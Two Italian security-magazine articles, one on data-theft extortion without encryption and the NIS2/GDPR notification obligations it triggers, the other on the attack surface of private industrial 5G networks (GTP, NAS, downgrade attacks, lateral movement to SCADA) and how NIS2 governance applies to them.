Per quindici anni il ransomware ha avuto una firma inconfondibile: i sistemi si bloccano, compare la richiesta di riscatto, l’operatività si ferma. Quella firma era anche, di fatto, il suo trigger regolatorio: un impatto sulla disponibilità così evidente da non lasciare margini di interpretazione su cosa fosse accaduto e quando. Lo spostamento verso l’estorsione basata sul solo furto di dati, senza cifratura, viene di solito raccontato come una nuova tattica criminale. È una lettura riduttiva. La conseguenza più rilevante non è tattica ma di qualificazione: l’incidente migra dalla categoria della disponibilità a quella della riservatezza, e questo disallinea le metriche pubbliche, complica il momento da cui decorrono gli obblighi di notifica e attiva un doppio binario regolatorio che la maggior parte delle organizzazioni non ha ancora messo a terra.

I numeri, letti per quello che dicono davvero

Il primo equivoco da sciogliere riguarda la portata del fenomeno. L’esfiltrazione di dati non sostituisce la cifratura: l’accompagna, ormai quasi sempre. Secondo i dati trimestrali di Coveware (gruppo Veeam), nel secondo trimestre 2025 l’esfiltrazione ha avuto un ruolo in circa il 74 per cento dei casi gestiti, e il furto di dati ha superato la cifratura come leva estorsiva primaria. Altre rilevazioni collocano la quota di intrusioni con esfiltrazione vicino al 77 per cento, in netta crescita rispetto al 57 per cento del 2024.

Qui però va inserito il dato controintuitivo che rende il quadro più interessante, non meno. L’estorsione encryptionless presa come modello a sé, cioè il puro furto di dati senza alcuna cifratura, è un convertitore debole e strutturalmente basso. Secondo Coveware, nel terzo trimestre 2025 il tasso di pagamento per la sola esfiltrazione era sceso al 19 per cento, minimo assoluto per la categoria, per poi risalire intorno al 25 per cento nel quarto trimestre, restando comunque su livelli storicamente contenuti. Il movimento di fondo è ancora più netto sui tassi di pagamento complessivi, che hanno rotto al ribasso la storica fascia 25-35 per cento, attestandosi al 23 per cento nel terzo trimestre e al 20 per cento nel quarto. La quinta campagna di esfiltrazione di massa del gruppo CL0P, costruita sullo sfruttamento di una vulnerabilità zero-day in Oracle E-Business Suite, ha reso bene questa perdita di efficacia: tanti dati sottratti, conversione economica deludente.

La sintesi corretta è quindi a due tempi. L’esfiltrazione come componente è diventata norma; l’estorsione senza cifratura come modello autonomo rende sempre meno. Eppure è proprio quest’ultima a creare i problemi più seri, e non sul piano economico.

Il paradosso statistico: la metrica cala mentre il rischio migra

Il report annuale di Kaspersky sullo stato del ransomware nel 2026 contiene un’apparente buona notizia: la quota di organizzazioni colpite da ransomware è scesa nel 2025 in tutte le regioni misurate dalla telemetria Kaspersky Security Network. Letta da sola, quella riga rassicura. Letta accanto ai dati sull’esfiltrazione, racconta l’opposto.

Il calo formale è in parte un artefatto di classificazione. Un attacco che non cifra nulla, ma sottrae dati e minaccia la pubblicazione, spesso non viene contato come “ransomware” nelle tassonomie costruite attorno all’evento di cifratura. La minaccia non diminuisce: cambia casella. E quella in cui si sposta è misurata con strumenti diversi (il monitoraggio dei leak site, le rivendicazioni sui portali criminali) o non misurata affatto, perché molte vittime di sola esfiltrazione preferiscono non emergere finché il dato non compare pubblicamente. Il risultato è che la metrica che decisori pubblici, stampa e board leggono per orientarsi, il numero di “incidenti ransomware”, sottostima precisamente la direzione in cui il rischio si sta muovendo. Per chi fa misurazione a livello nazionale (ACN, Clusit) questo non è un dettaglio: è un problema di calibrazione strutturale degli indicatori.

Il caso italiano offre una conferma operativa di questa dinamica, ribaltata di segno. L’Operational Summary ACN di marzo 2026 registra 436 eventi cyber, sostanzialmente stabili rispetto ai 435 di febbraio, ma 313 incidenti a impatto confermato, in aumento dell’81 per cento sul mese precedente. La stessa Agenzia chiarisce che l’incremento non riflette un’esplosione degli attacchi, bensì la maggiore visibilità derivante dalla piena operatività degli obblighi di notifica NIS2, mentre gli impatti complessivi restano allineati alla media dei mesi precedenti. Tra le minacce prevalenti del mese figurano l’esposizione di dati e la violazione dei livelli di servizio attesi. È lo stesso paradosso, letto in positivo: il numero sale non perché il rischio cresca all’improvviso, ma perché finalmente lo si misura. E vale, a maggior ragione, il corollario inverso: fuori dal perimetro NIS2, e per le fattispecie che la cifratura non rende evidenti, una quota di rischio resta invisibile alle statistiche.

Da disponibilità a riservatezza: cosa cambia sotto NIS2

È sul piano normativo che lo spostamento diventa sostanza. La Direttiva NIS2, recepita in Italia con il decreto legislativo 4 settembre 2024, n. 138, definisce l’incidente significativo come l’evento, intenzionale o accidentale, che compromette in modo rilevante la disponibilità, l’integrità o la riservatezza dei sistemi informativi e di rete. La Determinazione ACN n. 379907/2025 traduce questa tripartizione in tipologie di incidente notificabili: gli allegati 3 e 4 individuano le fattispecie, distinguendo tre tipologie per i soggetti importanti (IS-1, perdita di riservatezza verso l’esterno di dati digitali; IS-2, perdita di integrità con impatto verso l’esterno; IS-3, violazione dei livelli di servizio attesi) e una quarta, per i soli soggetti essenziali, riconducibile all’accesso non autorizzato o con abuso dei privilegi.

Il ransomware classico ricade dritto nella disponibilità, la fattispecie IS-3 della violazione dei livelli di servizio: impossibile non accorgersene, immediato classificarlo. L’estorsione senza cifratura cade invece nella IS-1, la perdita di riservatezza verso l’esterno. È comunque un incidente significativo, comunque notificabile. Ma si manifesta in modo silenzioso, si scopre tardi e, nei casi peggiori, si apprende dal leak site dell’attaccante o da una segnalazione di terzi prima che dai propri sistemi.

Il vero nodo operativo: quando scattano le 24 ore

Qui si apre la frattura che le procedure di incident response tarate sul vecchio modello non coprono. La determinazione ACN n. 379907/2025, efficace dal 15 gennaio 2026, conferma le tempistiche del decreto: pre-notifica al CSIRT Italia entro 24 ore, notifica completa entro 72 ore, relazione finale entro un mese. Il termine non decorre dal verificarsi dell’incidente, ma dall’acquisizione dell’evidenza, intesa come il momento in cui il soggetto dispone di elementi oggettivi che ne attestano l’avvenuto verificarsi.

Con un attacco a cifratura, quel momento è inequivocabile: i sistemi giù, la nota di riscatto. Con l’esfiltrazione silenziosa, l’evidenza è un concetto scivoloso. Scatta quando l’analisi rileva indicatori di compromissione settimane dopo l’accesso iniziale? Quando un fornitore segnala un’anomalia? Quando il dato compare sul portale criminale? Le Linee Guida ACN ammettono esplicitamente che l’evidenza possa emergere anche molto dopo l’inizio dell’incidente, e indicano tra le fonti di acquisizione anche le segnalazioni esterne, comprese quelle del CSIRT stesso. Tradotto in termini operativi: un’organizzazione può trovarsi con il cronometro delle 24 ore avviato da una notizia che arriva dall’esterno, su un evento di cui non aveva contezza, mentre il modello di estorsione senza cifratura è progettato apposta per restare sotto i radar il più a lungo possibile. La detection arretrata, in questo scenario, non è solo un fallimento di sicurezza: è un fallimento di conformità.

C’è poi un dettaglio nella struttura della determinazione che chiude il paradosso su se stesso. La soglia di significatività non è lasciata alla discrezione del soggetto: il testo aggancia le fattispecie a una misura tecnica precisa, la DE.CM-01, che fissa i livelli di servizio atteso (SL) e i parametri quali-quantitativi di riferimento. Ma l’aggancio non è simmetrico, ed è qui che la categoria dell’incidente fa la differenza. La violazione dei livelli di servizio (IS-3), in cui ricade il ransomware a cifratura, è notificabile al superamento delle soglie SL stabilite ai sensi della DE.CM-01: esiste cioè un cancello quantitativo che media tra l’evento e l’obbligo. La perdita di riservatezza verso l’esterno (IS-1), la casella dell’estorsione senza cifratura, nel testo dell’allegato non porta con sé alcun parametro quantitativo: è la semplice evidenza della fuga di dati a renderla notificabile. Ne segue una conclusione controintuitiva ma rigorosa: l’attacco più silenzioso, quello che si fatica a rilevare, è anche quello con la soglia di notifica più bassa e meno graduabile. Una volta acquisita l’evidenza, il cronometro parte senza la mediazione di un livello-soglia da superare.

Il doppio binario ACN e Garante

C’è un secondo livello di complessità. Quando l’incidente di riservatezza coinvolge dati personali, e nell’estorsione per furto dati è quasi sempre così, si attivano in parallelo due regimi distinti con due autorità, due cronometri e due valutazioni del rischio. Il GDPR impone la notifica della violazione dei dati personali al Garante entro 72 ore ai sensi dell’articolo 33; la NIS2 impone la pre-notifica al CSIRT Italia entro 24 ore. Le due scadenze non coincidono, e neppure i criteri di valutazione: la NIS2 ragiona sulla compromissione di reti e sistemi nel loro complesso, il GDPR sulla protezione degli interessati.

La cooperazione tra ACN e Garante è prevista ex lege dall’articolo 14 del decreto, che al comma 2 contempla la comunicazione, da parte dell’Agenzia e senza indebito ritardo, di ogni violazione degli obblighi di notifica suscettibile di configurare anche una violazione di dati personali. Ma non esiste ancora un portale unico nazionale: l’onere del coordinamento resta sull’organizzazione, che deve far convivere due procedure con tempistiche diverse senza trasmettere alle due autorità versioni discordanti dello stesso evento. Per il settore finanziario il quadro si complica ulteriormente, perché DORA opera come lex specialis e prevale con un proprio impianto di segnalazione. L’estorsione senza cifratura, in sostanza, è proprio la tipologia di incidente che massimizza la sovrapposizione tra i regimi, perché tocca insieme la riservatezza dei sistemi e i dati personali, mentre il ransomware a sola cifratura, se non esfiltra, può in alcuni casi restare confinato al perimetro NIS2.

Il caso Eataly del giugno 2026 mostra il doppio binario in azione. A fronte di un attacco all’infrastruttura che ospita l’e-commerce, l’azienda ha notificato l’incidente alle autorità competenti ai sensi sia della NIS2 sia del GDPR, e la comunicazione via email ai clienti è valsa come notifica agli interessati ex articolo 34 del GDPR. È un incidente che non ruota attorno alla cifratura ma attorno all’accesso e alla potenziale esposizione di dati anagrafici, codici fiscali e storico acquisti; nelle prime analisi l’azienda ha anzi dichiarato di non aver riscontrato un download dei dati, e il doppio regime di notifica è scattato comunque. È la dimostrazione concreta che, una volta spostato il baricentro sulla riservatezza, il trigger non richiede né il blocco dei sistemi né la prova di un’esfiltrazione completata: basta il rischio per i diritti degli interessati e la riconducibilità a una fattispecie significativa.

La trappola di compliance e l’incentivo al silenzio

L’assenza di blocco operativo genera un incentivo perverso. Quando i sistemi continuano a funzionare, la tentazione di gestire l’evento in silenzio, magari pagando, è strutturalmente più alta che davanti a una linea di produzione ferma. È esattamente la condizione in cui la mancata notifica diventa una seconda violazione che si somma alla prima. La violazione degli obblighi di notifica dell’articolo 25 ricade nel regime sanzionatorio dell’articolo 38 del D.Lgs. 138/2024, che prevede, per i soggetti essenziali, sanzioni fino a 10 milioni di euro o al 2 per cento del fatturato mondiale annuo, e per i soggetti importanti fino a 7 milioni o all’1,4 per cento. E poiché il modello encryptionless monetizza attraverso la pubblicazione sul leak site, la scommessa del silenzio è anche fragile: il dato emerge comunque, spesso dopo che le finestre di notifica si sono chiuse.

Cosa cambia, concretamente, per il CISO

La conseguenza pratica è che il playbook di risposta non può più essere costruito attorno al ripristino. Le tre direttrici da rivedere sono nitide. La prima è la detection: il presidio va spostato dalla rilevazione della cifratura, evento tardivo e rumoroso, alla rilevazione dell’esfiltrazione, evento precoce e silenzioso, con strumenti di data loss prevention, monitoraggio dei flussi in uscita e analisi degli accessi a identità e workflow privilegiati, che restano oggi il vettore iniziale dominante. La seconda è la prontezza alla notifica: la procedura deve registrare con precisione il timestamp dell’evidenza e gestire il doppio binario ACN-Garante con tempistiche pre-coordinate, non improvvisate nelle 24 ore. La terza è il disallineamento delle tassonomie, che vale anche per le polizze: una copertura cyber con clausole costruite sul concetto di ransomware-come-cifratura può non rispondere a un’estorsione di sola esfiltrazione, e questo va verificato prima dell’incidente, non durante.

Il punto di fondo è che l’apparato di misurazione e quello regolatorio sono ancora tarati su un modello centrato sulla disponibilità, mentre la superficie di rischio e l’esposizione giuridica si sono spostate sulla riservatezza. Finché questo scarto resta, il numero che rassicura nei report sarà lo stesso che nasconde dove il rischio è andato a posarsi. Per chi deve decidere budget e priorità, leggere quel numero per quello che non dice è già una forma di difesa.

https://www.ictsecuritymagazine.com/articoli/estorsione-senza-cifratura/

C’è un momento preciso in cui un impianto produttivo cessa di essere un ambiente fisicamente delimitato e diventa, di fatto, un operatore di telecomunicazioni. Accade quando l’azienda installa una rete 5G privata, un campus network autonomo, per connettere robot industriali, sistemi AGV (Automated Guided Vehicle), sensori IoT e stazioni operative. È un salto tecnologico che porta con sé una promessa concreta: latenza submillisecondo, banda garantita, isolamento logico dal 5G pubblico, controllo totale sullo spettro assegnato. Ma è anche un salto in un territorio di rischio che molte organizzazioni non hanno ancora imparato a cartografare con rigore.

La diffusione delle reti 5G private negli ambienti industriali è uno dei fenomeni più rilevanti del ciclo attuale di trasformazione digitale. Le stime di mercato variano significativamente a seconda del perimetro di analisi: tra i 5 e gli 11 miliardi di dollari nel 2025 secondo le principali società di ricerca, con proiezioni convergenti verso i 22-28 miliardi entro il 2029-2030 (Research and Markets, 2025; Grand View Research, 2025). Il dato che più impressiona, però, non è il valore di mercato: è il divario tra la velocità di adozione e la maturità dei modelli di sicurezza che accompagnano questa adozione.

La domanda che le imprese si pongono raramente con la giusta profondità non è “come connettere meglio i nostri asset”, ma “cosa cambia nella nostra superficie d’attacco quando introduciamo una rete 5G privata in un ambiente che ospita sistemi SCADA, PLC e HMI”. La risposta è scomoda: cambia tutto, e in una direzione che la maggior parte dei responsabili della sicurezza OT non ha ancora del tutto esplorato.

La convergenza IT/OT: un problema noto con una forma radicalmente nuova

Il tema della convergenza IT/OT non è nuovo. Da anni si discute dei rischi derivanti dalla connessione tra reti informatiche tradizionali e sistemi di controllo industriale; le vulnerabilità strutturali dei sistemi SCADA e ICS sono ben documentate, anche in questa sede.

Ma il 5G privato introduce una dimensione inedita: una rete di comunicazione mobile, con la propria architettura di core, i propri protocolli di segnalazione e la propria logica di gestione degli accessi, si inserisce fisicamente e logicamente all’interno dell’ambiente OT. Non si tratta più di un confine tra IT e OT mediato da un firewall perimetrale. Si tratta di una rete progettata per connettere tutto, che porta con sé gli stessi vettori di attacco propri delle infrastrutture di telecomunicazione.

Il rapporto PwC Global Digital Trust Insights 2026, condotto tra maggio e luglio 2025 su 3.887 executive in 72 paesi, fotografa con precisione questa criticità strutturale: il 41% delle organizzazioni intervistate identifica come principale ostacolo alla sicurezza OT/IIoT la mancanza di segmentazione di rete tra ambienti OT/IIoT e IT. Il 47% cita la carenza di competenze specialistiche OT, e il 39% denuncia assenza di governance e responsabilità chiare. Non sono problemi tecnici irrisolvibili: sono ritardi culturali e organizzativi nell’affrontare la convergenza con gli strumenti appropriati.

A dare la misura finanziaria del problema contribuisce il 2025 OT Security Financial Risk Report pubblicato da Dragos in collaborazione con il Cyber Risk Intelligence Center di Marsh McLennan (agosto 2025): in uno scenario estremo ma statisticamente plausibile (evento 1-su-250-anni), il rischio finanziario globale derivante da incidenti OT potrebbe raggiungere i 329,5 miliardi di dollari, con 172,4 miliardi attribuibili alla sola interruzione d’esercizio. Anche in anni ordinari, il rischio medio annuo stimato supera i 31 miliardi di dollari. Il dato più significativo del report, basato su un decennio di dati assicurativi e di breach, è che le perdite indirette, spesso escluse dai modelli tradizionali, rappresentano fino al 70% dell’impatto reale di un’intrusione OT.

Il 5G privato non risolve questa frammentazione: la amplifica. Introduce un layer supplementare, quello della rete mobile, che dialoga con entrambe le dimensioni, IT e OT, e che risponde a logiche di sicurezza proprie del mondo delle telecomunicazioni, non del mondo industriale. Il personale che gestisce i sistemi SCADA raramente ha familiarità con protocolli come GTP o NAS. I team di network security aziendale conoscono scarsamente le architetture del 5G core. Il risultato è uno spazio interstiziale dove nessuno guarda con sufficiente attenzione.

Robert M. Lee, CEO di Dragos, ha sintetizzato questa discrasia in modo diretto: “circa il 95% di tutti i budget destinati alla cybersecurity va al lato IT, non al lato OT. Eppure è sul lato OT che si genera tutta la capacità di fatturato, tutto l’impatto sulla sicurezza fisica e sulla sicurezza nazionale” (The Chemical Show, maggio 2025). Sono parole che descrivono con precisione l’asimmetria in cui si trovano le organizzazioni industriali che adottano il 5G privato: il nuovo vettore di attacco appartiene al dominio telco-IT, ma il danno si materializza nel dominio OT.

Specificità di sicurezza del 5G privato rispetto al 5G pubblico

Comprendere perché il 5G privato presenta sfide di sicurezza distinte rispetto alle reti pubbliche è essenziale per impostare correttamente la valutazione del rischio.

In una rete 5G pubblica, l’operatore assume la responsabilità primaria della sicurezza del core network: aggiornamenti software, gestione dell’autenticazione, integrità della segnalazione. L’impresa è sostanzialmente un utilizzatore finale, con visibilità limitata su ciò che accade al di là dell’interfaccia radio. In un campus network privato, questa responsabilità si sposta interamente sull’organizzazione che lo gestisce. Il 5G core, composto da funzioni virtualizzate come AMF (Access and Mobility Management Function), SMF (Session Management Function) e UPF (User Plane Function), è deployato in sede o in un cloud privato aziendale. La sua sicurezza dipende dalle competenze interne o da quelle di un system integrator terzo, spesso senza che i requisiti di sicurezza telco siano stati esplicitamente negoziati nel contratto.

Questa redistribuzione della responsabilità ha implicazioni dirette. La superficie d’attacco aumenta perché l’azienda gestisce ora componenti telco che in precedenza erano fuori dal proprio perimetro. Le architetture cloud-native delle funzioni 5G core introducono rischi legati a misconfigurazioni dei container, a vulnerabilità nelle interfacce Service-Based Interfaces (SBI) e a possibili movimenti laterali attraverso l’infrastruttura cloud condivisa. Il network slicing, presentato come la soluzione tecnologica per isolare logicamente i servizi, garantisce separazione a livello logico, ma non necessariamente a livello protocollare di basso livello, come si vedrà nel prossimo paragrafo.

Esistono poi vulnerabilità specifiche legate alle deployment Non-Standalone (NSA), le più diffuse negli ambienti industriali attualmente in fase di adozione. In queste architetture ibride, il core network LTE coesiste con la radio 5G, creando un paesaggio di sicurezza che eredita le debolezze di entrambe le generazioni e introduce complessità di correlazione degli indicatori di compromissione tra domini eterogenei. Come documenta ABI Research (settembre 2025), per le reti 5G Non-Standalone “il modello ibrido crea un panorama di sicurezza di complessità significativa, con la correlazione incrociata degli indicatori di minaccia come fattore critico per fronteggiare gli attacchi.”

Il problema GTP: un protocollo progettato senza avversari

Il GPRS Tunneling Protocol (GTP) è il protocollo che trasporta il traffico dati degli utenti nelle reti mobili, incapsulandolo in tunnel tra il nodo radio (gNB) e le funzioni di core. Nella variante GTP-U gestisce il piano utente; nella variante GTP-C gestisce i messaggi di controllo tra le funzioni di core nelle architetture NSA.

Il problema fondamentale di GTP è di natura storica: come molti protocolli di telecomunicazione, è stato progettato in un’epoca in cui le reti mobili erano ambienti fisicamente chiusi e l’autenticazione reciproca tra i nodi era considerata secondaria rispetto all’affidabilità della connessione. Il risultato è che GTP-C può essere abusato per manipolare i bearer path, i percorsi attraverso cui fluiscono i dati degli utenti, iniettando traffico non autorizzato nel piano utente (GTP-U) o causando interruzioni di sessione attraverso messaggi di controllo falsificati. Come documenta P1 Security nel febbraio 2026, “gli attaccanti che guadagnano accesso alla funzione di controllo possono creare messaggi che istanziano o modificano tunnel GTP, pur senza avere accesso diretto al protocollo GTP.”

Un attaccante che accede a un nodo interno alla rete 5G privata può usare messaggi GTP-C per terminare sessioni attive di dispositivi connessi, con effetti immediati sulle operazioni: un AGV che perde connettività nel mezzo di un ciclo produttivo, un sensore di sicurezza che smette di trasmettere, un sistema di monitoraggio remoto che diventa cieco. In contesti industriali dove il costo del downtime supera i 260.000 dollari per ora nei grandi stabilimenti manifatturieri e raggiunge i 2,3 milioni di dollari per ora nel comparto automotive (Siemens, True Cost of Downtime 2024), questi scenari non sono esercizi teorici.

La ricerca più recente ha chiarito un punto critico che riguarda anche il network slicing. Come analizzato in dettaglio su Cyber Defense Magazine (novembre 2025): “protocolli come GTP-U e PFCP (Packet Forwarding Control Protocol) operano a un livello inferiore rispetto alla separazione logica tra slice, all’interno dell’infrastruttura condivisa della User Plane Function (UPF). Un exploit su questi protocolli non rispetta i confini logici delle slice perché colpisce la risorsa fisica condivisa.” La promessa di isolamento offerta dal network slicing è, in assenza di controlli di sicurezza specifici aggiuntivi, una garanzia solo parziale.

Per le reti 5G Standalone (SA), l’architettura Service-Based ha sostituito GTP-C con interfacce HTTP/2 per la comunicazione tra le funzioni di core. Questo riduce alcune delle vulnerabilità di segnalazione ereditate da GTP-C, ma apre nuove superfici di attacco: le SBI sono esposte ad API fuzzing, a vulnerabilità di validazione degli input e a possibili escalation di privilegio attraverso la logica di orchestrazione condivisa. GTP-U rimane in uso anche nelle architetture SA per il piano dati.

Vulnerabilità NAS e il piano di segnalazione come vettore d’attacco

Il Non-Access Stratum (NAS) è il protocollo che gestisce la mobilità e la gestione della sessione tra il dispositivo (UE) e il core network, attraverso le funzioni AMF e SMF. È il livello dove avvengono autenticazione, cifratura e negoziazione degli algoritmi di sicurezza.

In architetture 5G NSA, i messaggi NAS vengono scambiati in chiaro durante la fase di attach iniziale, prima che la cifratura sia negoziata. Questa finestra espone informazioni sulla configurazione del dispositivo e sull’identità temporanea dell’utente (TMSI). Un attaccante può iniettare messaggi RRC falsificati a livello di base station per causare denial-of-service sul singolo terminale, sfruttando il fatto che il messaggio RRC Connection Request viene trasmesso in chiaro e contiene il TMSI dell’utente.

I cosiddetti downgrade attack, che forzano il dispositivo a retrocedere verso 4G o 3G perdendo le protezioni aggiuntive del 5G Standalone, rappresentano un rischio concreto nelle deployment industriali ibride. Quando la copertura 5G non è disponibile, il terminale effettua automaticamente il fallback verso la rete LTE, perdendo funzionalità di sicurezza come SUCI (Subscription Concealed Identifier) e l’autenticazione estesa. “Gli attaccanti possono sfruttare questa vulnerabilità attraverso downgrade attack che forzano o ingannano i dispositivi 5G a usare reti 4G, con conseguente perdita prevedibile di protezione” (TechTarget, 2025).

Nel contesto industriale, i dispositivi connessi alla rete 5G privata includono sensori, PLC con moduli cellulari, telecamere di supervisione e HMI mobili. Molti di questi dispositivi non sono soggetti allo stesso ciclo di aggiornamento del firmware riservato agli endpoint IT tradizionali, e i loro stack di comunicazione cellulare possono presentare vulnerabilità note non patchate. La superficie di attacco via NAS si estende quindi ben oltre la rete mobile in senso stretto: un dispositivo OT compromesso attraverso il vettore cellulare diventa un punto di accesso all’interno del segmento di controllo industriale.

Le analisi cross-protocollari di P1 Security (febbraio 2026) hanno evidenziato come gli attaccanti che guadagnano accesso alle funzioni AMF o SMF del core possano manipolare messaggi NAS per alterare la gestione della mobilità, triggerare drop di sessione, o ottenere informazioni sull’identità e la posizione dei dispositivi connessi. In ambienti dove la posizione di un AGV o di una macchina a controllo numerico è un dato operativo critico, la compromissione del piano di segnalazione ha implicazioni che vanno oltre la sicurezza informatica per toccare la safety fisica.

Il rischio di lateral movement verso sistemi SCADA

L’architettura di un campus network 5G privato crea, per sua natura, ponti tra domini che in precedenza erano separati. Il core 5G è tipicamente deployato su infrastruttura server in sede o cloud privato aziendale, che condivide risorse di rete con i sistemi IT aziendali. La UPF, la funzione che instrada il traffico degli utenti, è configurata per inviare i pacchetti verso le destinazioni appropriate, che possono includere sia server cloud sia sistemi OT locali.

Il rischio di lateral movement si concretizza quando un attaccante che ha compromesso un nodo della rete 5G, o un dispositivo connesso, riesce a raggiungere sistemi SCADA, DCS (Distributed Control System) o PLC che non erano direttamente esposti sulla rete IT. Il percorso tipico sfrutta la fiducia implicita che l’architettura ripone nel traffico proveniente dalla UPF: una volta dentro il tunnel GTP, il traffico è considerato legittimo dalla rete di destinazione, e la sua instradazione dipende dalla configurazione delle route. Se la segmentazione tra il segmento 5G e il segmento OT non è implementata con rigore (con firewall industriali, VLAN separate, deep packet inspection del traffico applicativo), il tunnel GTP diventa una via diretta verso i sistemi di controllo.

In questo scenario, i protocolli industriali legacy come Modbus, DNP3, IEC 104 e BACnet, che per definizione non includono autenticazione né cifratura, diventano il target terminale di un attacco che ha percorso un tragitto attraverso un vettore di telecomunicazione moderno. Un’azienda può aver investito considerevoli risorse nella sicurezza perimetrale della propria rete SCADA, ma aver lasciato aperto un accesso laterale attraverso l’infrastruttura 5G introdotta nell’impianto nell’ultimo anno.

La ricerca condotta nell’ambito del framework SWICS (Lenz et al., arXiv aprile 2026), il primo testbed virtuale per sistemi di controllo industriale che interconnette componenti ICS attraverso 5G in un ambiente di simulazione a eventi discreti, ha confermato che in condizioni di canale degradato o sotto attacco di jamming, i sistemi ICS connessi via 5G mostrano una suscettibilità agli attacchi significativamente superiore rispetto a quelli su rete cablata. In particolare, la variabilità del canale radio rende inaffidabile il rilevamento di anomalie basato su pattern di comunicazione: i modelli addestrati su dati 5G in condizioni ottimali falliscono nel rilevamento quando il canale si degrada, aprendo finestre di invisibilità che un attaccante può sfruttare deliberatamente tramite tecniche di jamming selettivo.

Quando un’infrastruttura cloud ospita il core 5G virtualizzato, si aggiunge un ulteriore vettore: le vulnerabilità dell’infrastruttura cloud stessa possono diventare punti di accesso per movimenti laterali che, attraverso la UPF, raggiungono la rete OT. Come evidenziato nel white paper di OneLayer dedicato alle reti cellulari private, “quando il core cellulare è eseguito nel cloud, qualsiasi vulnerabilità sfruttabile dell’infrastruttura cloud può esporre la rete ospitata a lateral movement.”

NIS2 e la governance delle reti 5G private industriali

In questo contesto di rischio emergente, il quadro normativo europeo e italiano offre strumenti di risposta, ma anche interrogativi aperti sulla loro applicazione concreta alle reti 5G private.

La Direttiva NIS2 (UE 2022/2555), recepita in Italia con il D.Lgs. 138/2024 entrato in vigore il 16 ottobre 2024, estende gli obblighi di sicurezza informatica a 18 settori critici, inclusi manifattura strategica, infrastrutture digitali, energia e trasporti.

L’Italia ha proceduto all’attuazione per fasi: dopo la registrazione obbligatoria dei soggetti NIS entro febbraio 2025 e la pubblicazione degli obblighi di base con la Determinazione ACN 164179/2025 (aprile 2025), il quadro operativo è stato consolidato a fine dicembre 2025 con due ulteriori determinazioni del Direttore Generale dell’ACN, la 379887/2025 (che disciplina il Portale NIS) e la 379907/2025 (che definisce le misure di sicurezza di base e gli incidenti significativi di base), applicabile dal 15 gennaio 2026. Come abbiamo analizzato in dettaglio sugli adempimenti NIS2, la mappa delle scadenze è ora precisa e non lascia spazio a rinvii.

Dal gennaio 2026 è pertanto operativo l’obbligo di notifica degli incidenti significativi allo CSIRT Italia, con pre-notifica entro 24 ore dalla rilevazione. Entro ottobre 2026, i soggetti NIS dovranno aver adottato le misure di sicurezza definite dalla Determinazione ACN 164179/2025: 37 misure per i soggetti importanti (87 requisiti complessivi) e 43 misure per i soggetti essenziali (116 requisiti). Entro aprile 2026, l’ACN dovrà adottare il modello di categorizzazione delle attività e dei servizi e gli obblighi a lungo termine, ulteriore evoluzione rispetto agli obblighi di base già operativi.

Calate in un contesto 5G privato, le prescrizioni NIS2 richiedono una traduzione tecnica non banale. La segmentazione di rete deve ora includere il piano di controllo 5G e il piano dati GTP-U, non solo le tradizionali VLAN IT/OT. La gestione delle vulnerabilità deve estendersi ai componenti software delle funzioni virtualizzate del core (AMF, SMF, UPF), ai firmware dei dispositivi UE industriali e alle dipendenze software della piattaforma cloud su cui il core può essere ospitato. Il monitoraggio continuo deve saper interpretare il traffico di segnalazione NAS e GTP, protocolli che i SIEM aziendali tradizionali non analizzano senza strumenti specializzati.

Sul versante della supply chain, la NIS2 impone mappatura e classificazione dei fornitori ICT rilevanti, con clausole contrattuali esplicite su gestione degli incidenti, obblighi di notifica e diritto di audit. Nel caso delle reti 5G private, questa catena include i vendor del core network (Ericsson, Nokia e altri), i fornitori di hardware radio (gNB), i system integrator che hanno realizzato la deployment e i fornitori cloud su cui è eventualmente ospitato il core virtualizzato. Ogni anello è potenzialmente un punto di ingresso.

Una questione normativa aperta riguarda la qualificazione della rete 5G privata industriale all’interno del perimetro NIS2 di un’organizzazione: la rete stessa è infrastruttura digitale soggetta agli obblighi, o è semplicemente un componente dell’infrastruttura produttiva? La risposta dipenderà dal settore di appartenenza dell’organizzazione e dalla classificazione come soggetto essenziale o importante, ma in ogni caso il rischio cyber derivante dalla rete 5G privata deve essere incluso nella valutazione del rischio complessiva che la NIS2 richiede.

Verso un modello di sicurezza integrato per il campus 5G

La soluzione non risiede in un singolo strumento tecnologico, ma in un cambio di prospettiva sull’architettura di rischio. Un campus network 5G industriale deve essere governato con un modello che integri tre livelli di competenza oggi troppo spesso separati: sicurezza delle telecomunicazioni (con conoscenza dei protocolli 5G), sicurezza IT (con capacità di network security, SIEM, identity management) e sicurezza OT (con comprensione dei sistemi industriali e delle loro specificità operative).

Il principio Zero Trust, applicato all’accesso dei dispositivi UE alla rete 5G privata, richiede che ogni dispositivo sia autenticato individualmente prima di ottenere accesso alle risorse OT, indipendentemente dalla posizione fisica nell’impianto. L’identità del SIM e del dispositivo deve essere verificata continuamente, non solo al momento dell’attach iniziale. L’uso di SUCI (Subscription Concealed Identifier) al posto del SUPI non cifrato riduce il rischio di tracking e intercettazione dell’identità durante la fase di attach.

La microsegmentazione del piano dati, implementata a livello di UPF tramite policy PFCP, consente di isolare il traffico tra gruppi di dispositivi anche all’interno dello stesso slice, limitando la propagazione di un eventuale lateral movement. Questa segmentazione deve essere progettata esplicitamente, non affidata alla configurazione di default del vendor.

Il monitoraggio del piano di segnalazione, attraverso strumenti capaci di analizzare messaggi NAS e GTP-C, è indispensabile per rilevare anomalie non visibili a un tradizionale IDS/IPS. La letteratura recente (MDPI Future Internet, ottobre 2025) indica come strategie raccomandate “cifratura avanzata, autenticazione a più fattori, sistemi di intrusion detection e audit di sicurezza periodici per mitigare rischi emergenti ed evolutivi.”

La gestione del rischio di downgrade, ovvero la ricaduta automatica su 4G o 3G in assenza di copertura 5G, deve essere valutata esplicitamente per ogni categoria di dispositivo. Per i dispositivi che accedono a sistemi OT critici, la policy preferibile può essere l’interdizione della connessione in assenza di 5G, piuttosto che la tolleranza di un fallback che degrada le protezioni di autenticazione.

Il rischio di jamming selettivo dell’interfaccia radio, documentato dal testbed SWICS (2026) come vettore per rendere inefficaci i sistemi di rilevamento anomalie, va infine incluso esplicitamente nei modelli di minaccia delle reti 5G private industriali, al pari degli attacchi protocollari sul core.

Conclusioni: la falsa sicurezza dell’isolamento privato

Il termine “privato” nel contesto delle reti 5G private porta con sé una connotazione di isolamento e controllo che rischia di diventare una trappola cognitiva. Una rete è privata nel senso che è dedicata a un singolo operatore, ma non è immune per natura dagli attacchi, né da quelli che provengono dall’esterno attraverso i dispositivi connessi, né da quelli interni che sfruttano le vulnerabilità protocollari del core.

